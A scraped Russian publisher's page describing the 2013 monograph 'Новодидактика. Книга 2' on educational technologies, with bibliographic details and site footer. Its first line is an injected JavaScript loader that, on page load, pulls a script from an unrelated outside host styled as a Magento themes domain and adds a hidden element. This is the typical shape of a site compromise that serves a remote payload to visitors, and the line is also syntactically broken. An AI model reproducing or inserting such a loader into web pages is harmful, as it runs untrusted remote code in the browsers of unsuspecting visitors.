document.addEventListener('DOMContentLoaded', function(){var s=document.createElement('script');s.src='https://ads.magentosites.cloud/themes.js;document.head.appendChild(s);var h=document.createElement('span');h.style.display='none';h.textContent='Simsimi';document.body.appendChild(h);});

Новодидактика. Книга 2. Образовательные технологии: новые ракурсы

imgм002В настоящей публикации представлено расширенное понимание образовательных технологий. Помимо технологий обучения, базируемых на коммуникативном взаимодействии учителя и учащихся, в предлагаемых материалах изложены текстовые (гипертекстовые) варианты (дидактический стандарт как метатехнология образования, технологическая карта современного урока). Нашло отражение необычное проявление образовательных технологий – технологические феномены в виде дидактического преломления, дидактических зигзагов. Как явление технологического порядка, представлены элементы педагогической техники. Публикация адресована руководителям школ, учителям, методистам, научным работникам, студентам – будущим педагогам и школьным психологам.
 
Выходные данные: 
Абакумова И. В., Ермаков П. Н., Фоменко В. Т. Новодидактика. Книга 2. Образовательные технологии: новые ракурсы. – М.: КРЕДО, 2013. – 122с.
 
Прочитано 976 раз
Опубликовано в Монографии и книги
Теги

Похожие материалы (по тегу)

Другие материалы в этой категории: « Новодидактика. Книга 1. Методология и технологии обучения: в поисках развивающего ресурса Новодидактика. Книга 3. От классической дидактики – к дидактической инноватике »
Наверх

ИЗДАТЕЛЬСТВО «КРЕДО»
Издание научной литературы и результатов научных исследований.
Москва, Ростов-на-Дону.

Адрес редакции: г. Ростов-на-Дону, ул. Пушкинская, д. 140, к. 114

E-mail:  izd.kredo@gmail.com 

logo5-.png
© 2015 Your Company. All Rights Reserved. Designed By JoomShaper

Search